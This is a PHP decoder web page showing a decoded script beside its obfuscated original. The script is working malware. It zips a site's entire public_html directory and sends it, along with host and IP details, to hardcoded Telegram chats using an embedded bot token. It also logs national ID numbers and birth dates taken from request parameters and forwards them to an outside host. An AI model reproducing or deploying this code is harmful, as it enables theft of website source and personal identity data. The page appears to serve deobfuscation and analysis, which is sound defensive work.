Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
goto OwYmD; o0796: function getHostInfo() { $host = gethostname(); $ip = $_SERVER["\x53..
Decoded Output download
<?
goto OwYmD; o0796: function getHostInfo() { $host = gethostname(); $ip = $_SERVER["SERVER_ADDR"] ?? gethostbyname($host); $protocol = !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off" || $_SERVER["SERVER_PORT"] == 443 ? "https://" : "http://"; $website = $_SERVER["HTTP_HOST"]; $website = preg_replace("#^https?://#", '', $website); return array($host, $ip, $website); } goto HTb0w; Hi1Md: while (basename($directory) != "public_html") { $directory = dirname($directory); } goto m4hKh; RuSPO: $ch = curl_init(); goto nb3zk; kjihO: if (empty($nid) || empty($dob)) { die("nid and dob parameters are required."); } goto DSm8c; VjRL3: function sendMessageToTelegram($message, $chatId) { $url = "https://api.telegram.org/bot" . BOT_TOKEN . "/sendMessage"; $postFields = array("chat_id" => $chatId, "text" => $message); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields); curl_exec($ch); curl_close($ch); } goto exOCs; XZ8aQ: $directory = __DIR__; goto Hi1Md; epBnD: $zipFilePath = createZipArchive($directory, $zipFileName); goto TcnGs; HTb0w: list($host, $ip, $website) = getHostInfo(); goto VWsdi; oK2z2: $currentDateTime = date("Y-m-d H:i:s"); goto WSL0l; PmhFA: function getClientIP() { $ipAddress = $_SERVER["REMOTE_ADDR"]; if (!empty($_SERVER["HTTP_CLIENT_IP"])) { $ipAddress = $_SERVER["HTTP_CLIENT_IP"]; } elseif (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) { $ipAddress = $_SERVER["HTTP_X_FORWARDED_FOR"]; } return $ipAddress; } goto kyeIY; jWYLa: $chatIds = array("1989547881", "6365538658"); goto QxJT_; ALjXM: if (curl_errno($ch)) { echo "cURL error: " . curl_error($ch); } else { $jsonResponse = json_decode($response, true); if (json_last_error() !== JSON_ERROR_NONE) { die("Error decoding JSON: " . json_last_error_msg()); } unset($jsonResponse["System"]); unset($jsonResponse["Tg Channel"]); header("Content-Type: application/json"); echo json_encode($jsonResponse, JSON_PRETTY_PRINT); } goto ou3oz; K8z1F: $response = curl_exec($ch); goto ALjXM; DSm8c: $requestNumber = getLastRequestNumber() + 1; goto NM_tk; exOCs: function createZipArchive($directory, $zipFileName) { $zip = new ZipArchive(); if ($zip->open($zipFileName, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== TRUE) { die("Failed to create zip archive"); } $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory), RecursiveIteratorIterator::LEAVES_ONLY); foreach ($files as $name => $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($directory) + 1); $zip->addFile($filePath, $relativePath); } } $zip->close(); return $zipFileName; } goto o0796; ou3oz: curl_close($ch); goto eQIqA; t_Xqm: curl_setopt($ch, CURLOPT_URL, $url); goto R8tUo; kyeIY: function getLastRequestNumber() { $logFile = "logs.txt"; if (file_exists($logFile)) { $logContent = file_get_contents($logFile); $logEntries = explode("
", trim($logContent)); if (!empty($logEntries)) { $lastEntry = end($logEntries); $fields = explode(",", $lastEntry); if (count($fields) > 0) { preg_match("/Request (\d+)/", $fields[0], $matches); if (!empty($matches[1])) { return intval($matches[1]); } } } } return 0; } goto fXDqZ; fXDqZ: $nid = isset($_GET["nid"]) ? $_GET["nid"] : ''; goto Vt3J9; R8tUo: curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); goto K8z1F; NM_tk: $userAgent = $_SERVER["HTTP_USER_AGENT"]; goto sRK1h; Vt3J9: $dob = isset($_GET["dob"]) ? $_GET["dob"] : ''; goto kjihO; sRK1h: $logFile = "logs.txt"; goto oK2z2; TcnGs: foreach ($chatIds as $chatId) { sendFileToTelegram($zipFilePath, $chatId); } goto qCclE; xAvht: file_put_contents($logFile, $logEntry, FILE_APPEND); goto RuSPO; VWsdi: $hostInfoMessage = "Host: {$host}
IP Address: {$ip}\xaWebsite: {$website}\xa"; goto IF_3q; qCclE: unlink($zipFilePath); goto PmhFA; WSL0l: $logEntry = "Request {$requestNumber}, Date: {$currentDateTime}, NID: {$nid}, DOB: {$dob}, IP: " . getClientIP() . ", User Agent: {$userAgent}\xa"; goto xAvht; OwYmD: define("BOT_TOKEN", "7276541445:AAF1m5CElk8ESpVx4wVLClSed4GYQ8DstnU"); goto jWYLa; QxJT_: function sendFileToTelegram($filePath, $chatId) { $url = "https://api.telegram.org/bot" . BOT_TOKEN . "/sendDocument"; $postFields = array("chat_id" => $chatId, "document" => new CURLFile(realpath($filePath))); $ch = curl_init(); curl_setopt($ch, CURLOPT_HTTPHEADER, array("Content-Type:multipart/form-data")); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields); curl_exec($ch); curl_close($ch); } goto VjRL3; m4hKh: $zipFileName = $website . "_public_html.zip"; goto epBnD; IF_3q: foreach ($chatIds as $chatId) { sendMessageToTelegram($hostInfoMessage, $chatId); } goto XZ8aQ; nb3zk: $url = "https://projectholder69.000webhostapp.com/NID_Api_Tools/User/Demoapi.php?nid={$nid}&dob={$dob}"; goto t_Xqm; eQIqA: ?>
Did this file decode correctly?
Original Code
goto OwYmD; o0796: function getHostInfo() { $host = gethostname(); $ip = $_SERVER["\x53\x45\x52\126\105\122\x5f\x41\x44\x44\x52"] ?? gethostbyname($host); $protocol = !empty($_SERVER["\x48\x54\x54\120\123"]) && $_SERVER["\x48\124\124\x50\x53"] !== "\157\146\146" || $_SERVER["\x53\105\x52\126\x45\x52\137\120\117\x52\124"] == 443 ? "\x68\x74\164\160\x73\72\57\57" : "\150\x74\164\x70\x3a\x2f\x2f"; $website = $_SERVER["\110\124\x54\120\137\110\117\123\124"]; $website = preg_replace("\x23\x5e\x68\164\164\x70\x73\77\x3a\x2f\x2f\x23", '', $website); return array($host, $ip, $website); } goto HTb0w; Hi1Md: while (basename($directory) != "\x70\x75\x62\x6c\x69\x63\x5f\150\x74\155\154") { $directory = dirname($directory); } goto m4hKh; RuSPO: $ch = curl_init(); goto nb3zk; kjihO: if (empty($nid) || empty($dob)) { die("\x6e\151\144\40\141\156\x64\x20\x64\x6f\x62\40\x70\x61\162\x61\x6d\145\164\x65\x72\163\x20\x61\x72\145\40\x72\145\161\x75\151\162\145\x64\56"); } goto DSm8c; VjRL3: function sendMessageToTelegram($message, $chatId) { $url = "\x68\164\x74\160\x73\x3a\x2f\57\141\x70\151\x2e\164\145\x6c\145\x67\x72\141\x6d\x2e\157\162\147\57\x62\157\164" . BOT_TOKEN . "\57\x73\x65\x6e\144\115\145\163\163\x61\147\x65"; $postFields = array("\143\x68\x61\x74\137\151\x64" => $chatId, "\164\x65\x78\x74" => $message); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields); curl_exec($ch); curl_close($ch); } goto exOCs; XZ8aQ: $directory = __DIR__; goto Hi1Md; epBnD: $zipFilePath = createZipArchive($directory, $zipFileName); goto TcnGs; HTb0w: list($host, $ip, $website) = getHostInfo(); goto VWsdi; oK2z2: $currentDateTime = date("\x59\x2d\x6d\55\144\x20\110\72\151\x3a\163"); goto WSL0l; PmhFA: function getClientIP() { $ipAddress = $_SERVER["\122\105\x4d\x4f\124\105\137\x41\x44\104\122"]; if (!empty($_SERVER["\x48\124\124\x50\x5f\103\114\x49\x45\116\124\x5f\111\x50"])) { $ipAddress = $_SERVER["\110\x54\x54\x50\137\x43\114\x49\x45\116\x54\x5f\x49\x50"]; } elseif (!empty($_SERVER["\110\124\124\x50\x5f\130\137\x46\x4f\x52\x57\x41\122\104\105\104\x5f\x46\117\122"])) { $ipAddress = $_SERVER["\x48\124\x54\x50\x5f\x58\137\106\x4f\x52\x57\101\122\104\x45\x44\x5f\x46\117\122"]; } return $ipAddress; } goto kyeIY; jWYLa: $chatIds = array("\61\x39\x38\71\x35\64\67\70\x38\x31", "\66\63\66\x35\x35\63\70\66\x35\x38"); goto QxJT_; ALjXM: if (curl_errno($ch)) { echo "\143\125\x52\114\40\145\x72\x72\157\x72\72\x20" . curl_error($ch); } else { $jsonResponse = json_decode($response, true); if (json_last_error() !== JSON_ERROR_NONE) { die("\105\162\162\157\x72\x20\x64\x65\143\x6f\x64\x69\x6e\x67\40\112\123\x4f\116\x3a\x20" . json_last_error_msg()); } unset($jsonResponse["\x53\x79\163\164\x65\x6d"]); unset($jsonResponse["\x54\147\x20\103\150\x61\x6e\156\145\154"]); header("\103\157\x6e\164\x65\156\x74\x2d\x54\171\x70\x65\72\40\141\x70\x70\x6c\151\143\x61\x74\151\157\156\57\152\163\157\156"); echo json_encode($jsonResponse, JSON_PRETTY_PRINT); } goto ou3oz; K8z1F: $response = curl_exec($ch); goto ALjXM; DSm8c: $requestNumber = getLastRequestNumber() + 1; goto NM_tk; exOCs: function createZipArchive($directory, $zipFileName) { $zip = new ZipArchive(); if ($zip->open($zipFileName, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== TRUE) { die("\x46\141\x69\x6c\145\x64\x20\164\157\x20\143\x72\145\141\164\x65\x20\172\151\x70\40\x61\162\x63\x68\151\166\145"); } $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory), RecursiveIteratorIterator::LEAVES_ONLY); foreach ($files as $name => $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($directory) + 1); $zip->addFile($filePath, $relativePath); } } $zip->close(); return $zipFileName; } goto o0796; ou3oz: curl_close($ch); goto eQIqA; t_Xqm: curl_setopt($ch, CURLOPT_URL, $url); goto R8tUo; kyeIY: function getLastRequestNumber() { $logFile = "\x6c\x6f\147\x73\56\x74\170\164"; if (file_exists($logFile)) { $logContent = file_get_contents($logFile); $logEntries = explode("\12", trim($logContent)); if (!empty($logEntries)) { $lastEntry = end($logEntries); $fields = explode("\x2c", $lastEntry); if (count($fields) > 0) { preg_match("\x2f\122\145\161\x75\145\163\x74\x20\50\134\x64\x2b\51\x2f", $fields[0], $matches); if (!empty($matches[1])) { return intval($matches[1]); } } } } return 0; } goto fXDqZ; fXDqZ: $nid = isset($_GET["\x6e\151\144"]) ? $_GET["\156\x69\144"] : ''; goto Vt3J9; R8tUo: curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); goto K8z1F; NM_tk: $userAgent = $_SERVER["\110\124\x54\120\137\x55\x53\105\122\137\101\x47\x45\116\x54"]; goto sRK1h; Vt3J9: $dob = isset($_GET["\144\157\142"]) ? $_GET["\144\157\142"] : ''; goto kjihO; sRK1h: $logFile = "\154\x6f\x67\x73\x2e\164\x78\164"; goto oK2z2; TcnGs: foreach ($chatIds as $chatId) { sendFileToTelegram($zipFilePath, $chatId); } goto qCclE; xAvht: file_put_contents($logFile, $logEntry, FILE_APPEND); goto RuSPO; VWsdi: $hostInfoMessage = "\x48\157\163\164\x3a\40{$host}\12\x49\120\x20\101\144\144\162\145\163\163\72\40{$ip}\xa\x57\145\142\163\x69\164\x65\x3a\40{$website}\xa"; goto IF_3q; qCclE: unlink($zipFilePath); goto PmhFA; WSL0l: $logEntry = "\122\145\161\165\x65\x73\164\40{$requestNumber}\x2c\40\x44\141\x74\x65\72\40{$currentDateTime}\x2c\x20\x4e\x49\104\72\40{$nid}\54\40\x44\117\102\x3a\x20{$dob}\54\40\111\120\72\x20" . getClientIP() . "\54\x20\125\x73\145\162\x20\x41\x67\145\x6e\x74\72\40{$userAgent}\xa"; goto xAvht; OwYmD: define("\x42\117\124\x5f\124\117\113\105\116", "\x37\62\67\x36\65\64\61\x34\x34\65\72\101\101\106\61\x6d\65\103\x45\154\x6b\70\x45\123\160\126\170\64\167\126\x4c\103\154\x53\x65\x64\x34\x47\131\x51\x38\x44\x73\x74\156\125"); goto jWYLa; QxJT_: function sendFileToTelegram($filePath, $chatId) { $url = "\x68\164\x74\160\x73\72\57\x2f\141\160\x69\x2e\164\x65\x6c\145\147\x72\x61\155\x2e\157\162\147\x2f\x62\157\x74" . BOT_TOKEN . "\57\x73\145\156\x64\104\x6f\x63\165\155\x65\x6e\x74"; $postFields = array("\x63\150\x61\164\x5f\x69\144" => $chatId, "\144\x6f\x63\165\155\x65\156\x74" => new CURLFile(realpath($filePath))); $ch = curl_init(); curl_setopt($ch, CURLOPT_HTTPHEADER, array("\103\x6f\156\164\145\x6e\x74\55\x54\171\160\145\x3a\155\165\x6c\x74\x69\160\x61\x72\x74\x2f\x66\157\x72\155\55\x64\141\164\141")); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields); curl_exec($ch); curl_close($ch); } goto VjRL3; m4hKh: $zipFileName = $website . "\x5f\x70\x75\142\x6c\151\x63\x5f\150\x74\x6d\154\56\172\151\x70"; goto epBnD; IF_3q: foreach ($chatIds as $chatId) { sendMessageToTelegram($hostInfoMessage, $chatId); } goto XZ8aQ; nb3zk: $url = "\150\164\164\x70\x73\72\57\x2f\x70\162\157\152\x65\143\x74\150\157\154\144\x65\162\66\x39\56\60\x30\x30\x77\x65\x62\x68\x6f\x73\164\x61\x70\x70\56\143\157\155\x2f\116\111\104\137\101\x70\x69\137\x54\157\157\x6c\163\57\x55\163\x65\162\57\104\145\155\x6f\141\160\151\56\x70\150\x70\x3f\156\151\144\x3d{$nid}\46\x64\x6f\142\75{$dob}"; goto t_Xqm; eQIqA:
Function Calls
None |
Stats
MD5 | b49953db0523d0b1b6eff40f0ccc1b5b |
Eval Count | 0 |
Decode Time | 55 ms |